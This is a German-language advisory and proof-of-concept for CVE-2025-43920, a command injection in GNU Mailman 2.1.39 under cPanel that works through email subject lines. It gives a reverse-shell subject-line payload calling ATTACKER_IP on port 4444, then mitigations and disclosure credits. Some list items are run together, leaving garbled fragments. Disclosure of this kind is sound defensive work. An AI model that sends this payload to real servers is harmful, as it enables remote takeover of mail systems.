
Proof-of-Concept-Exploit für CVE-2025-43920, eine Befehlsinjektions-Schwachstelle in GNU Mailman 2.1.39 über E-Mail-Betreffzeilen, die Remote-Code-Ausführung und Reverse-Shell-Zugriff ermöglicht.
Entdeckt von: Firudin Davudzada & Musazada Aydan
Offenlegungsdatum: April 2025
CVE-ID: CVE-2025-43920
Schweregrad: 5.4 Mittel (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N)
Angriffstyp: Remote
Betroffene Software: GNU Mailman 2.1.39 (gebündelt mit cPanel/WHM)
GNU Mailman 2.1.39, wie es mit cPanel und WHM gebündelt ist, ist anfällig für eine kritische Befehlseinschleusung, die es nicht authentifizierten Angreifern ermöglicht, beliebige Betriebssystembefehle auszuführen. Die Schwachstelle tritt auf, wenn ein externer Archivierer über PUBLIC_EXTERNAL_ARCHIVER oder PRIVATE_EXTERNAL_ARCHIVER in der Konfigurationsdatei mm_cfg.py konfiguriert ist und die E-Mail-Betreffzeile Shell-Metazeichen enthält, die nicht ordnungsgemäß bereinigt werden. Dies kann zur vollständigen Kompromittierung des Systems führen, sodass Angreifer Reverse Shells einrichten, Daten exfiltrieren oder andere schädliche Aktionen ausführen können.
PUBLIC_EXTERNAL_ARCHIVER, PRIVATE_EXTERNAL_ARCHIVER)Mailman/Handlers/ (Logik zur Verarbeitung des E-Mail-Betreffs, möglicherweise einschließlich Dateien wie CookHeaders.py);, &, |) vorhanden sind.Um diese Schwachstelle auszunutzen, kann ein Angreifer eine E-Mail an eine von Mailman verwaltete Liste mit einer bösartigen Betreffzeile senden, wie zum Beispiel:
Subject: ;bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
Voraussetzungen:
PUBLIC_EXTERNAL_ARCHIVER oder PRIVATE_EXTERNAL_ARCHIVER einen externen Archivierer konfiguriert haben.netcat) muss auf ATTACKERIP:4444 eingerichtet sein, um die Reverse Shell zu empfangen.Erwartetes Ergebnis: Wenn der Befehl des externen Archivierers die Betreffzeile nicht bereinigt, wird der schädliche Befehl auf dem Server ausgeführt und eine Reverse Shell zum Server des Angreifers hergestellt.
Externe Archivierer deaktivieren: Setzen Sie PUBLIC_EXTERNAL_ARCHIVER und PRIVATE_EXTERNAL_ARCHIVER in mm_cfg.py auf None, um die Funktionalität des externen Archivierers zu deaktivieren:
PUBLIC_EXTERNAL_ARCHIVER = None
PRIVATE_EXTERNAL_ARCHIVER = None
Eingaben bereinigen: Falls ein externer Archivierer erforderlich ist, stellen Sie sicher, dass der Befehl die Betreffzeile bereinigt, um Shell-Metazeichen-Injektion zu verhindern.
Abonnements einschränken: Beschränken Sie Mailinglisten-Abonnements auf vertrauenswürdige Benutzer, um die Angriffsfläche zu verringern.
Firudin Davudzada und Musazada Aydan haben diese Schwachstelle im Rahmen einer genehmigten Penetrationstest-Übung verantwortungsvoll offengelegt. Dank an das MITRE CVE-Team für die Koordination.
E-Mail: [email protected]\